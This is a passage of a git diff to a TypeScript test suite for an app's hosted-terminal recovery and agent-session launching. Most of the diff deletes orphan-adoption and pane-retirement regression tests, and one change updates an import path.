-        launchConfig: { agentCommand: 'desktop-claude', agentArgs: '', agentEnv: {} }
-      },
-      pasteDraftAfterLaunch: null,
-      submitPastedPrompt: false
-    })
-  })
-  expect(params('session.tabs.createTerminal').command).toBe(
-    "desktop-claude --prefill 'Edit this draft'"
-  )
-  expect(params('session.tabs.createTerminal')).not.toHaveProperty('agentPrompt')
-  expect(mocks.seedNativeChatLaunchDraftForAgentTab).toHaveBeenCalledWith(
-    expect.objectContaining({ text: 'Edit this draft' })
-  )
-  call.mockClear()
-  host.capabilities = ['agent-session.host-authority.v1', 'agent-session.create-options.v1']
-  resetTerminalCreateEnvironment()
-  stubTerminalCreateEnvironment(mocks)
-  stubRuntimeEnvironmentBridge({ call })
-  await launch({ prompt: 'Submit this after startup', promptDelivery: 'submit-after-ready' })
-  expect(params('terminal.createAgentSession')).toMatchObject({ promptDelivery: 'auto-submit' })
-  expect(params('terminal.createAgentSession')).not.toHaveProperty('prompt')
-  expect(mocks.deliverLaunchPromptToAgentTab).toHaveBeenCalledWith(
-    expect.objectContaining({ content: 'Submit this after startup', submit: true })
-  )
-})
-
-it('preserves explicit empty overrides and prepared workspace drafts while resume retains its recipe', async () => {
-  await launch({ agentArgs: '' })
-  expect(params('terminal.createAgentSession')).toHaveProperty('agentArgs', '')
-  call.mockClear()
-  const recipe = { agentArgs: '--recorded-arguments', agentEnv: {} }
-  await createWebRuntimeSessionTerminalResult({
-    worktreeId: WORKTREE_ID,
-    environmentId: ENVIRONMENT_ID,
-    agentSessionKind: 'fresh',
-    launchAgent: 'claude',
-    preparedAgentCommand: true,
-    command: "claude --prefill 'workspace draft'",
-    launchConfig: recipe,
-    activate: false
-  })
-  expect(params('session.tabs.createTerminal')).toMatchObject({
-    command: "claude --prefill 'workspace draft'",
-    launchConfig: { agentArgs: '--recorded-arguments', agentEnv: {} }
-  })
-  call.mockClear()
-  await createWebRuntimeSessionTerminalResult({
-    worktreeId: WORKTREE_ID,
-    environmentId: ENVIRONMENT_ID,
-    agentSessionKind: 'resume',
-    launchAgent: 'claude',
-    launchConfig: recipe,
-    providerSession: { key: 'session_id', id: 'recorded-session' },
-    activate: false
-  })
-  expect(params('terminal.ensureAgentSession')).toHaveProperty('agentArgs', '--recorded-arguments')
-})
-
-it('keeps the folder selected after background creation and prompt delivery settle', async () => {
-  const state = {
-    ...mocks.getState(),
-    activeWorktreeId: 'folder:feature',
-    activeWorkspaceKey: 'folder:feature',
-    activeWorkspaceExecutionHostId: 'local'
-  }
-  mocks.getState.mockImplementation(() => state)
-  mocks.setActiveWorktree.mockImplementation((id: string, hostId: string) => {
-    state.activeWorktreeId = id
-    state.activeWorkspaceKey = id
-    state.activeWorkspaceExecutionHostId = hostId
-  })
-  const result = await launch({
-    agent: 'claude',
-    activate: false,
-    prompt: 'Resolve the conflicts',
-    promptDelivery: 'submit-after-ready'
-  })
-  expect(result).toMatchObject({ delivered: true, outcome: { status: 'created' } })
-  expect(state.activeWorkspaceKey).toBe('folder:feature')
-  expect(state.activeWorktreeId).toBe('folder:feature')
-  expect(state.activeWorkspaceExecutionHostId).toBe('local')
-})
diff --git a/src/renderer/src/runtime/hosted-terminals/placement/web-runtime-terminal-placement-settlement.ts b/src/renderer/src/runtime/hosted-terminals/placement/web-runtime-terminal-placement-settlement.ts
index 1e0fb1f1bce..a3e340517a1 100644
--- a/src/renderer/src/runtime/hosted-terminals/placement/web-runtime-terminal-placement-settlement.ts
+++ b/src/renderer/src/runtime/hosted-terminals/placement/web-runtime-terminal-placement-settlement.ts
@@ -1,4 +1,4 @@
-import { insertUnifiedTabAfterAnchor } from '../../../lib/unified-tab-anchor-insertion'
+import { insertUnifiedTabAfterAnchor } from '../../../lib/workspace/tabs/unified-tab-anchor-insertion'
 import { useAppStore } from '../../../store/index'
 import {
   forgetWebSessionTerminalPlacement,
diff --git a/src/renderer/src/runtime/hosted-terminals/recovery/adoption/web-session-terminal-orphan-recovery-adoption-regressions.test.ts b/src/renderer/src/runtime/hosted-terminals/recovery/adoption/web-session-terminal-orphan-recovery-adoption-regressions.test.ts
deleted file mode 100644
index c41c63f14e7..00000000000
--- a/src/renderer/src/runtime/hosted-terminals/recovery/adoption/web-session-terminal-orphan-recovery-adoption-regressions.test.ts
+++ /dev/null
@@ -1,676 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-import type { RuntimeMobileSessionTabsResult } from '../../../../../../shared/runtime-session-contracts'
-import { resetWebSessionTabsSyncTestState } from '../../../web-session-tabs-sync/testing/web-session-tabs-sync.test-fixture'
-import {
-  ENVIRONMENT_ID,
-  deferred,
-  listResult,
-  makeSnapshot,
-  makeState,
-  pendingSurface
-} from '../testing/web-session-terminal-orphan-recovery-regression-fixtures'
-import {
-  clearWebSessionTerminalOrphanRecoveryForTests,
-  recoverWebSessionTerminalOrphansBeforeApply
-} from '../web-session-terminal-orphan-recovery'
-
-vi.mock('../../../../store/index', () => ({ useAppStore: { setState: vi.fn() } }))
-vi.mock('@/hooks/agent-hook-completion-notifications', () => ({
-  observeAgentHookCompletionForNotification: vi.fn()
-}))
-
-describe('web session terminal orphan adoption regressions', () => {
-  beforeEach(() => {
-    clearWebSessionTerminalOrphanRecoveryForTests()
-    resetWebSessionTabsSyncTestState()
-  })
-
-  it('retries a transient thrown adoption on an unchanged semantic frame', async () => {
-    const worktree = 'repo::transient-adoption-retry'
-    const leaves = [{ leafId: 'leaf-1', handle: 'term-live' }]
-    const state = makeState(worktree, leaves)
-    const snapshot: RuntimeMobileSessionTabsResult = {
-      ...makeSnapshot(worktree, 'transient-adoption', leaves),
-      tabs: [pendingSurface('host-tab', 'leaf-1', 'pty-live')] as never
-    }
-    let adoptionAttempts = 0
-    const call = vi.fn(async ({ method }: { method: string }) => {
-      if (method === 'terminal.list') {
-        return {
-          ok: true as const,
-          result: listResult(worktree, [
-            {
-              handle: 'term-live',
-              ptyId: 'pty-live',
-              incarnationId: 'inc-live',
-              orphaned: true
-            }
-          ])
-        }
-      }
-      if (method === 'session.tabs.list') {
-        return {
-          ok: true as const,
-          result: {
-            ...snapshot,
-            tabs: [pendingSurface('host-tab', 'leaf-1', 'pty-live', 'term-live')]
-          }
-        }
-      }
-      if (method !== 'terminal.adoptOrphans') {
-        throw new Error(`Unexpected method: ${method}`)
-      }
-      adoptionAttempts += 1
-      if (adoptionAttempts === 1) {
-        throw new Error('Remote runtime connection closed')
-      }
-      return {
-        ok: true as const,
-        result: {
-          adopted: true,
-          topologyRevision: 8,
-          snapshot: {
-            ...snapshot,
-            publicationEpoch: 'adopted',
-            tabs: [
-              {
-                ...pendingSurface('host-tab', 'leaf-1', 'pty-live', 'term-live'),
-                status: 'ready' as const,
-                terminal: 'term-live'
-              }
-            ]
-          }
-        }
-      }
-    })
-
-    await recoverWebSessionTerminalOrphansBeforeApply(state, snapshot, ENVIRONMENT_ID, {
-      call: call as never
-    })
-    const recovered = await recoverWebSessionTerminalOrphansBeforeApply(
-      state,
-      snapshot,
-      ENVIRONMENT_ID,
-      { call: call as never }
-    )
-
-    expect(recovered?.tabs[0]).toMatchObject({ status: 'ready', terminal: 'term-live' })
-  })
-
-  it.each([
-    {
-      failure: 'rpc-error',
-      expectedRuntimeId: 'origin-runtime',
-      reply: () => ({ ok: false, error: { code: 'unavailable', message: 'unavailable' } })
-    },
-    {
-      failure: 'throw',
-      expectedRuntimeId: 'origin-runtime',
-      reply: () => {
-        throw new Error('Remote runtime connection closed')
-      }
-    },
-    {
-      failure: 'invalid-snapshot',
-      expectedRuntimeId: 'origin-runtime',
-      reply: (snapshot: RuntimeMobileSessionTabsResult) => ({
-        ok: true,
-        _meta: { runtimeId: 'origin-runtime' },
-        result: { ...snapshot, tabs: [null] }
-      })
-    },
-    {
-      failure: 'wrong-worktree',
-      expectedRuntimeId: 'origin-runtime',
-      reply: (snapshot: RuntimeMobileSessionTabsResult) => ({
-        ok: true,
-        _meta: { runtimeId: 'origin-runtime' },
-        result: { ...snapshot, worktree: 'folder:other-host-workspace' }
-      })
-    },
-    {
-      failure: 'runtime-changed',
-      expectedRuntimeId: 'origin-runtime',
-      reply: (snapshot: RuntimeMobileSessionTabsResult) => ({
-        ok: true,
-        _meta: { runtimeId: 'replacement-runtime' },
-        result: snapshot
-      })
-    },
-    {
-      failure: 'runtime-missing',
-      expectedRuntimeId: 'origin-runtime',
-      reply: (snapshot: RuntimeMobileSessionTabsResult) => ({ ok: true, result: snapshot })
-    },
-    {
-      failure: 'runtime-changed-without-frame-id',
-      expectedRuntimeId: undefined,
-      reply: (snapshot: RuntimeMobileSessionTabsResult) => ({
-        ok: true,
-        _meta: { runtimeId: 'replacement-runtime' },
-        result: snapshot
-      })
-    }
-  ])(
-    'retains the client epoch and retries when the post-adoption list has $failure',
-    async ({ expectedRuntimeId, reply }) => {
-      const worktree = 'folder:post-adoption-list'
-      const leaves = [{ leafId: 'leaf-1', handle: 'term-live' }]
-      const state = makeState(worktree, leaves)
-      const snapshot = makeSnapshot(worktree, 'renderer:host:client-navigation', leaves)
-      const adopted: RuntimeMobileSessionTabsResult = {
-        ...snapshot,
-        publicationEpoch: 'renderer:host',
-        snapshotVersion: 2,
-        tabs: [pendingSurface('host-tab', 'leaf-1', 'pty-live', 'term-live')]
-      }
-      const projected = { ...adopted, publicationEpoch: 'renderer:host:client-navigation' }
-      let failNextList = true
-      const call = vi.fn(async ({ method }: { method: string }) => {
-        if (method === 'terminal.list') {
-          return {
-            ok: true,
-            result: listResult(worktree, [
-              {
-                handle: 'term-live',
-                ptyId: 'pty-live',
-                incarnationId: 'inc-live',
-                orphaned: true
-              }
-            ])
-          }
-        }
-        if (method === 'terminal.adoptOrphans') {
-          return {
-            ok: true,
-            result: { adopted: true, topologyRevision: 8, snapshot: adopted },
-            _meta: { runtimeId: 'origin-runtime' }
-          }
-        }
-        if (method !== 'session.tabs.list') {
-          throw new Error(`Unexpected method: ${method}`)
-        }
-        if (failNextList) {
-          failNextList = false
-          return reply(projected)
-        }
-        return { ok: true, result: projected, _meta: { runtimeId: 'origin-runtime' } }
-      })
-
-      const options = { call: call as never, expectedRuntimeId }
-      const retained = await recoverWebSessionTerminalOrphansBeforeApply(
-        state,
-        snapshot,
-        ENVIRONMENT_ID,
-        options
-      )
-      expect(retained).toMatchObject({
-        worktree: 'folder:post-adoption-list',
-        publicationEpoch: 'renderer:host:client-navigation',
-        snapshotVersion: 1,
-        tabs: [
-          {
-            id: 'host-tab::leaf-1',
-            parentTabId: 'host-tab',
-            leafId: 'leaf-1',
-            status: 'ready',
-            terminal: 'term-live'
-          }
-        ]
-      })
-      await expect(
-        recoverWebSessionTerminalOrphansBeforeApply(state, snapshot, ENVIRONMENT_ID, options)
-      ).resolves.toMatchObject({
-        worktree: 'folder:post-adoption-list',
-        publicationEpoch: 'renderer:host:client-navigation',
-        snapshotVersion: 2,
-        tabs: [
-          {
-            id: 'host-tab::leaf-1',
-            parentTabId: 'host-tab',
-            leafId: 'leaf-1',
-            ptyId: 'pty-live',
-            status: 'ready',
-            terminal: 'term-live'
-          }
-        ]
-      })
-    }
-  )
-
-  it.each([
-    {
-      failure: 'empty-row',
-      malform: (snapshot: RuntimeMobileSessionTabsResult) => ({ ...snapshot, tabs: [{}] })
-    },
-    {
-      failure: 'missing-selection',
-      malform: (snapshot: RuntimeMobileSessionTabsResult) => ({
-        ...snapshot,
-        activeTabId: undefined
-      })
-    },
-    {
-      failure: 'malformed-groups',
-      malform: (snapshot: RuntimeMobileSessionTabsResult) => ({
-        ...snapshot,
-        tabGroups: [{ id: 'group-1' }]
-      })
-    }
-  ])(
-    'preserves prior terminal bindings after a post-adoption $failure and retries',
-    async ({ malform }) => {
-      const worktree = 'folder:malformed-post-adoption'
-      const state = makeState(worktree, [{ leafId: 'leaf-1', handle: 'term-live' }])
-      state.tabsByWorktree[worktree]!.push({
-        ...state.tabsByWorktree[worktree]![0]!,
-        id: 'web-terminal-owned-tab',
-        ptyId: 'remote:remote-runtime@@term-owned'
-      })
-      state.terminalLayoutsByTabId['web-terminal-owned-tab'] = {
-        root: { type: 'leaf', leafId: 'leaf-owned' },
-        activeLeafId: 'leaf-owned',
-        expandedLeafId: null,
-        ptyIdsByLeafId: { 'leaf-owned': 'remote:remote-runtime@@term-owned' }
-      }
-      state.activeTabIdByWorktree[worktree] = null
-      const owned = pendingSurface('owned-tab', 'leaf-owned', 'pty-owned', 'term-owned')
-      const incoming: RuntimeMobileSessionTabsResult = {
-        ...makeSnapshot(worktree, 'renderer:host:client-navigation', []),
-        snapshotVersion: 2,
-        tabs: [pendingSurface('host-tab', 'leaf-1', 'pty-live'), owned]
-      }
-      const projected: RuntimeMobileSessionTabsResult = {
-        ...incoming,
-        snapshotVersion: 3,
-        tabs: [pendingSurface('host-tab', 'leaf-1', 'pty-live', 'term-live'), owned]
-      }
-      const malformed = malform(projected)
-      let failNextList = true
-      const call = vi.fn(async ({ method }: { method: string }) => {
-        const envelope = { id: method, ok: true as const, _meta: { runtimeId: 'host-runtime' } }
-        if (method === 'terminal.list') {
-          return {
-            ...envelope,
-            result: listResult(worktree, [
-              { handle: 'term-live', ptyId: 'pty-live', incarnationId: 'inc-live', orphaned: true }
-            ])
-          }
-        }
-        if (method === 'terminal.adoptOrphans') {
-          return {
-            ...envelope,
-            result: {
-              adopted: true,
-              topologyRevision: 8,
-              snapshot: { ...projected, publicationEpoch: 'renderer:host' }
-            }
-          }
-        }
-        if (method !== 'session.tabs.list') {
-          throw new Error(`Unexpected method: ${method}`)
-        }
-        if (failNextList) {
-          failNextList = false
-          return { ...envelope, result: malformed }
-        }
-        return { ...envelope, result: projected }
-      })
-
-      const retained = await recoverWebSessionTerminalOrphansBeforeApply(
-        state,
-        incoming,
-        ENVIRONMENT_ID,
-        { call: call as never }
-      )
-      expect(retained).toMatchObject({
-        worktree: 'folder:malformed-post-adoption',
-        publicationEpoch: 'renderer:host:client-navigation',
-        snapshotVersion: 2,
-        activeGroupId: null,
-        activeTabId: null,
-        activeTabType: null,
-        tabs: [
-          {
-            id: 'host-tab::leaf-1',
-            parentTabId: 'host-tab',
-            leafId: 'leaf-1',
-            ptyId: 'pty-live',
-            status: 'ready',
-            terminal: 'term-live'
-          },
-          {
-            id: 'owned-tab::leaf-owned',
-            parentTabId: 'owned-tab',
-            leafId: 'leaf-owned',
-            ptyId: 'pty-owned',
-            status: 'ready',
-            terminal: 'term-owned'
-          }
-        ]
-      })
-      const retried = await recoverWebSessionTerminalOrphansBeforeApply(
-        state,
-        incoming,
-        ENVIRONMENT_ID,
-        { call: call as never }
-      )
-      expect(retried).toMatchObject({
-        worktree: 'folder:malformed-post-adoption',
-        publicationEpoch: 'renderer:host:client-navigation',
-        snapshotVersion: 3,
-        activeGroupId: null,
-        activeTabId: null,
-        activeTabType: null,
-        tabs: [
-          {
-            id: 'host-tab::leaf-1',
-            parentTabId: 'host-tab',
-            leafId: 'leaf-1',
-            ptyId: 'pty-live',
-            status: 'ready',
-            terminal: 'term-live'
-          },
-          {
-            id: 'owned-tab::leaf-owned',
-            parentTabId: 'owned-tab',
-            leafId: 'leaf-owned',
-            ptyId: 'pty-owned',
-            status: 'ready',
-            terminal: 'term-owned'
-          }
-        ]
-      })
-    }
-  )
-
-  it.each([
-    {
-      verdict: 'retired',
-      projectedSibling: [],
-      retirementProofs: [
-        {
-          parentTabId: 'host-tab',
-          leafId: 'leaf-hold',
-          terminal: 'term-hold',
-          ptyId: 'pty-hold',
-          incarnationId: 'inc-hold'
-        }
-      ],
-      expectedTabs: [
-        { id: 'host-tab::leaf-claim', ptyId: 'pty-claim', status: 'ready', terminal: 'term-claim' }
-      ],
-      expectedRetirements: [
-        {
-          parentTabId: 'host-tab',
-          leafId: 'leaf-hold',
-          terminal: 'term-hold',
-          ptyId: 'pty-hold',
-          incarnationId: 'inc-hold'
-        }
-      ]
-    },
-    {
-      verdict: 'rebound',
-      projectedSibling: [
-        {
-          type: 'terminal' as const,
-          id: 'host-tab::leaf-hold',
-          parentTabId: 'host-tab',
-          leafId: 'leaf-hold',
-          title: 'leaf-hold',
-          ptyId: 'pty-new',
-          isActive: false,
-          status: 'ready' as const,
-          terminal: 'term-new'
-        }
-      ],
-      retirementProofs: [],
-      expectedTabs: [
-        { id: 'host-tab::leaf-claim', ptyId: 'pty-claim', status: 'ready', terminal: 'term-claim' },
-        { id: 'host-tab::leaf-hold', ptyId: 'pty-new', status: 'ready', terminal: 'term-new' }
-      ],
-      expectedRetirements: []
-    },
-    {
-      verdict: 'pending-without-proof',
-      projectedSibling: [
-        {
-          type: 'terminal' as const,
-          id: 'host-tab::leaf-hold',
-          parentTabId: 'host-tab',
-          leafId: 'leaf-hold',
-          title: 'leaf-hold',
-          ptyId: 'pty-new',
-          isActive: false,
-          status: 'pending-handle' as const,
-          terminal: null
-        }
-      ],
-      retirementProofs: [],
-      expectedTabs: [
-        { id: 'host-tab::leaf-claim', ptyId: 'pty-claim', status: 'ready', terminal: 'term-claim' },
-        { id: 'host-tab::leaf-hold', ptyId: 'pty-hold', status: 'pending-handle', terminal: null }
-      ],
-      expectedRetirements: []
-    }
-  ])(
-    'merges host-projected $verdict sibling state after adoption without treating pending as exited',
-    async ({ projectedSibling, retirementProofs, expectedTabs, expectedRetirements }) => {
-      const worktree = 'folder:post-adoption-sibling'
-      const state = makeState(worktree, [
-        { leafId: 'leaf-claim', handle: 'term-claim' },
-        { leafId: 'leaf-hold', handle: 'term-hold' }
-      ])
-      state.activeTabIdByWorktree[worktree] = null
-      const snapshot: RuntimeMobileSessionTabsResult = {
-        ...makeSnapshot(worktree, 'renderer:host:client-navigation', []),
-        snapshotVersion: 2,
-        tabs: [
-          pendingSurface('host-tab', 'leaf-claim', 'pty-claim'),
-          pendingSurface('host-tab', 'leaf-hold', 'pty-hold')
-        ]
-      }
-      const adopted: RuntimeMobileSessionTabsResult = {
-        ...snapshot,
-        publicationEpoch: 'renderer:host',
-        snapshotVersion: 3,
-        tabs: [pendingSurface('host-tab', 'leaf-claim', 'pty-claim', 'term-claim')]
-      }
-      const projected: RuntimeMobileSessionTabsResult = {
-        ...adopted,
-        publicationEpoch: 'renderer:host:client-navigation',
-        snapshotVersion: 4,
-        tabs: [
-          pendingSurface('host-tab', 'leaf-claim', 'pty-claim', 'term-claim'),
-          ...projectedSibling
-        ],
-        retiredTerminalSurfaces: retirementProofs
-      }
-      const call = vi.fn(async ({ method }: { method: string }) => {
-        if (method === 'terminal.list') {
-          return {
-            ok: true,
-            result: listResult(worktree, [
-              {
-                handle: 'term-claim',
-                ptyId: 'pty-claim',
-                incarnationId: 'inc-claim',
-                orphaned: true
-              }
-            ])
-          }
-        }
-        if (method === 'terminal.adoptOrphans') {
-          return { ok: true, result: { adopted: true, topologyRevision: 8, snapshot: adopted } }
-        }
-        if (method !== 'session.tabs.list') {
-          throw new Error(`Unexpected method: ${method}`)
-        }
-        return { ok: true, result: projected }
-      })
-      const recovered = await recoverWebSessionTerminalOrphansBeforeApply(
-        state,
-        snapshot,
-        ENVIRONMENT_ID,
-        { call: call as never }
-      )
-      expect(recovered).toMatchObject({
-        worktree: 'folder:post-adoption-sibling',
-        publicationEpoch: 'renderer:host:client-navigation',
-        snapshotVersion: 4,
-        activeGroupId: null,
-        activeTabId: null,
-        activeTabType: null,
-        tabs: expectedTabs,
-        retiredTerminalSurfaces: expectedRetirements
-      })
-    }
-  )
-
-  it('does not apply an adoption result after the local tab closes while adoption is blocked', async () => {
-    const worktree = 'repo::local-close-during-adoption'
-    const leaves = [{ leafId: 'leaf-1', handle: 'term-live' }]
-    const stateBeforeClose = makeState(worktree, leaves)
-    const stateAfterClose = {
-      ...stateBeforeClose,
-      tabsByWorktree: { ...stateBeforeClose.tabsByWorktree, [worktree]: [] },
-      terminalLayoutsByTabId: {},
-      activeTabIdByWorktree: { [worktree]: null }
-    }
-    let currentState = stateBeforeClose
-    const snapshot: RuntimeMobileSessionTabsResult = {
-      ...makeSnapshot(worktree, 'local-close-during-adoption', leaves),
-      tabs: [pendingSurface('host-tab', 'leaf-1', 'pty-live')]
-    }
-    const adoption = deferred<unknown>()
-    const entered = deferred<void>()
-    const call = vi.fn(async ({ method }: { method: string }) => {
-      if (method === 'terminal.list') {
-        return {
-          ok: true as const,
-          result: listResult(worktree, [
-            {
-              handle: 'term-live',
-              ptyId: 'pty-live',
-              incarnationId: 'inc-live',
-              orphaned: true
-            }
-          ])
-        }
-      }
-      if (method !== 'terminal.adoptOrphans') {
-        throw new Error(`Unexpected method: ${method}`)
-      }
-      entered.resolve(undefined)
-      return adoption.promise
-    })
-
-    const recovery = recoverWebSessionTerminalOrphansBeforeApply(
-      stateBeforeClose,
-      snapshot,
-      ENVIRONMENT_ID,
-      { call: call as never, getCurrentState: () => currentState } as never
-    )
-    await entered.promise
-    currentState = stateAfterClose
-    adoption.resolve({
-      ok: true,
-      result: {
-        adopted: true,
-        topologyRevision: 8,
-        snapshot: {
-          ...snapshot,
-          publicationEpoch: 'adopted-after-close',
-          tabs: [
-            {
-              ...pendingSurface('host-tab', 'leaf-1', 'pty-live', 'term-live'),
-              status: 'ready' as const,
-              terminal: 'term-live'
-            }
-          ]
-        }
-      }
-    })
-
-    await expect(recovery).resolves.toBeNull()
-  })
-
-  it('does not apply an adoption result after the local tab moves groups while adoption is blocked', async () => {
-    const worktree = 'repo::local-move-during-adoption'
-    const leaves = [{ leafId: 'leaf-1', handle: 'term-live' }]
-    const stateBeforeMove = makeState(worktree, leaves)
-    const localTabId = stateBeforeMove.tabsByWorktree[worktree]![0]!.id
-    const stateAfterMove = {
-      ...stateBeforeMove,
-      activeGroupIdByWorktree: { [worktree]: 'group-moved' },
-      groupsByWorktree: {
-        [worktree]: [
-          {
-            id: 'group-moved',
-            worktreeId: worktree,
-            activeTabId: localTabId,
-            tabOrder: [localTabId]
-          }
-        ]
-      },
-      layoutByWorktree: { [worktree]: { type: 'leaf' as const, groupId: 'group-moved' } }
-    }
-    let currentState = stateBeforeMove
-    const snapshot: RuntimeMobileSessionTabsResult = {
-      ...makeSnapshot(worktree, 'local-move-during-adoption', leaves),
-      tabs: [pendingSurface('host-tab', 'leaf-1', 'pty-live')]
-    }
-    const adoption = deferred<unknown>()
-    const entered = deferred<void>()
-    const call = vi.fn(async ({ method }: { method: string }) => {
-      if (method === 'terminal.list') {
-        return {
-          ok: true as const,
-          result: listResult(worktree, [
-            {
-              handle: 'term-live',
-              ptyId: 'pty-live',
-              incarnationId: 'inc-live',
-              orphaned: true
-            }
-          ])
-        }
-      }
-      if (method !== 'terminal.adoptOrphans') {
-        throw new Error(`Unexpected method: ${method}`)
-      }
-      entered.resolve(undefined)
-      return adoption.promise
-    })
-
-    const recovery = recoverWebSessionTerminalOrphansBeforeApply(
-      stateBeforeMove,
-      snapshot,
-      ENVIRONMENT_ID,
-      { call: call as never, getCurrentState: () => currentState }
-    )
-    await entered.promise
-    currentState = stateAfterMove
-    adoption.resolve({
-      ok: true,
-      result: {
-        adopted: true,
-        topologyRevision: 8,
-        snapshot: {
-          ...snapshot,
-          publicationEpoch: 'adopted-after-move',
-          tabs: [
-            {
-              ...pendingSurface('host-tab', 'leaf-1', 'pty-live', 'term-live'),
-              status: 'ready' as const,
-              terminal: 'term-live'
-            }
-          ]
-        }
-      }
-    })
-
-    await expect(recovery).resolves.toBeNull()
-  })
-})
diff --git a/src/renderer/src/runtime/hosted-terminals/recovery/panes/web-session-terminal-pending-handle-recovery.test.ts b/src/renderer/src/runtime/hosted-terminals/recovery/panes/web-session-terminal-pending-handle-recovery.test.ts
index 14d365caea7..c77f1fd2cc2 100644
--- a/src/renderer/src/runtime/hosted-terminals/recovery/panes/web-session-terminal-pending-handle-recovery.test.ts
+++ b/src/renderer/src/runtime/hosted-terminals/recovery/panes/web-session-terminal-pending-handle-recovery.test.ts
@@ -166,97 +166,6 @@ describe('web session pending terminal handle recovery', () => {
     })
   })
 
-  it('retries a disconnected pane resolution for an unchanged replayed snapshot', async () => {
-    const readySnapshot = {
-      ...pendingSnapshot(),
-      publicationEpoch: 'resolved-after-disconnect',
-      snapshotVersion: 3,
-      tabs: [
-        {
-          ...pendingSnapshot().tabs[0]!,
-          status: 'ready' as const,
-          terminal: TERMINAL_HANDLE
-        }
-      ]
-    }
-    let resolveAttempts = 0
-    const call = vi.fn(async ({ method }: { method: string }) => {
-      if (method === 'session.tabs.list') {
-        return { ok: true as const, result: readySnapshot }
-      }
-      if (method === 'terminal.resolvePane') {
-        resolveAttempts += 1
-        return {
-          ok: true as const,
-          result: {
-            terminal: {
-              handle: TERMINAL_HANDLE,
-              tabId: HOST_TAB_ID,
-              leafId: LEAF_ID,
-              ptyId: 'pty-live',
-              connected: resolveAttempts > 1,
-              worktreeId: WORKTREE_ID
-            }
-          }
-        }
-      }
-      if (method === 'terminal.list') {
-        return {
-          ok: true as const,
-          result: {
-            terminals: [
-              {
-                handle: TERMINAL_HANDLE,
-                ptyId: 'pty-live',
-                incarnationId: 'inc-live',
-                orphaned: true
-              }
-            ],
-            topologyRevisions: { [WORKTREE_ID]: 4 },
-            totalCount: 1,
-            truncated: false,
-            hostScope: { hostIds: ['local'], omittedHostIds: [] }
-          }
-        }
-      }
-      return {
-        ok: true as const,
-        result: { adopted: true, topologyRevision: 5, snapshot: readySnapshot }
-      }
-    })
-
-    await expect(
-      recoverWebSessionTerminalOrphansBeforeApply(
-        stateWithEmptyBinding(),
-        pendingSnapshot(),
-        ENVIRONMENT_ID,
-        { call: call as never }
-      )
-    ).resolves.toMatchObject({
-      tabs: [expect.objectContaining({ status: 'pending-handle', terminal: null })]
-    })
-    await expect(
-      recoverWebSessionTerminalOrphansBeforeApply(
-        stateWithEmptyBinding(),
-        pendingSnapshot(),
-        ENVIRONMENT_ID,
-        { call: call as never }
-      )
-    ).resolves.toMatchObject({
-      publicationEpoch: 'resolved-after-disconnect',
-      snapshotVersion: 3,
-      tabs: [
-        {
-          id: 'host-tab::11111111-1111-4111-8111-111111111111',
-          leafId: '11111111-1111-4111-8111-111111111111',
-          ptyId: 'pty-live',
-          status: 'ready',
-          terminal: 'term-live'
-        }
-      ]
-    })
-  })
-
   describe('an unbound pane whose host tab was closed (#9194)', () => {
     const closedPaneCall = vi.fn<TerminalOrphanRecoveryCall>()
     beforeEach(() => {
@@ -284,68 +193,10 @@ describe('web session pending terminal handle recovery', () => {
     }
     const keepsPane = { tabs: [expect.objectContaining({ parentTabId: HOST_TAB_ID })] }
 
-    it('retires the pane after two authoritative absences', async () => {
-      await expect(recover(closedTabFrame(3))).resolves.toMatchObject(keepsPane)
-      await expect(recover(closedTabFrame(4))).resolves.toMatchObject({ tabs: [] })
-    })
-
-    it('retires the pane at once when the frame carries its close record', async () => {
-      const frame = {
-        ...closedTabFrame(3),
-        retiredTerminalSurfaces: [
-          {
-            parentTabId: HOST_TAB_ID,
-            leafId: LEAF_ID,
-            terminal: TERMINAL_HANDLE,
-            ptyId: 'pty-live'
-          }
-        ]
-      }
-      await expect(recover(frame)).resolves.toMatchObject({ tabs: [] })
-      expect(closedPaneCall).not.toHaveBeenCalled()
-    })
-
     it('restarts the count when the host publishes the pane again', async () => {
       await recover(closedTabFrame(3))
       await recover({ ...pendingSnapshot(), snapshotVersion: 4 })
       await expect(recover(closedTabFrame(5))).resolves.toMatchObject(keepsPane)
     })
-
-    it('retires a closed tab whose exited pane an older host still resolves as disconnected', async () => {
-      closedPaneCall.mockImplementation(async ({ method }) =>
-        method === 'terminal.resolvePane'
-          ? {
-              id: 'resolve',
-              ok: true,
-              _meta: { runtimeId: 'runtime-1' },
-              result: {
-                terminal: {
-                  handle: TERMINAL_HANDLE,
-                  tabId: HOST_TAB_ID,
-                  leafId: LEAF_ID,
-                  ptyId: 'pty-live',
-                  connected: false,
-                  worktreeId: WORKTREE_ID
-                }
-              }
-            }
-          : { id: method, ok: false, error: { code: 'unexpected_method', message: method } }
-      )
-      await expect(recover(closedTabFrame(3))).resolves.toMatchObject(keepsPane)
-      await expect(recover(closedTabFrame(4))).resolves.toMatchObject({ tabs: [] })
-    })
-
-    it('keeps a pane the host still publishes, whatever the pane lookup says', async () => {
-      for (const snapshotVersion of [3, 4, 5]) {
-        await expect(recover({ ...pendingSnapshot(), snapshotVersion })).resolves.toMatchObject(
-          keepsPane
-        )
-      }
-    })
-
-    it('never counts a frame the host did not publish', async () => {
-      await recover({ ...closedTabFrame(3), publicationEpoch: 'none' })
-      await expect(recover(closedTabFrame(4))).resolves.toMatchObject(keepsPane)
-    })
   })
 })
diff --git a/src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-recovery-sleep.test.ts b/src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-recovery-sleep.test.ts
index 484c405693e..d6a841800ec 100644
--- a/src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-recovery-sleep.test.ts
+++ b/src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-recovery-sleep.test.ts
@@ -1,17 +1,11 @@
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 import type { RuntimeMobileSessionTabsResult } from '../../../../../shared/runtime-session-contracts'
-import type { RuntimeRpcResponse } from '../../../../../shared/runtime-rpc-envelope'
 import { toWebTerminalSurfaceTabId } from '../../../../../shared/workspace-layout/terminal-surface-id'
 import {
   clearWorktreeSleepIntent,
   markWorktreeSleepIntent
-} from '../../../lib/worktree-sleep-intent'
-import { listResult } from './testing/web-session-terminal-orphan-recovery-regression-fixtures'
-import {
-  clearWebSessionTerminalOrphanRecoveryForTests,
-  recoverWebSessionTerminalOrphansBeforeApply
-} from './web-session-terminal-orphan-recovery'
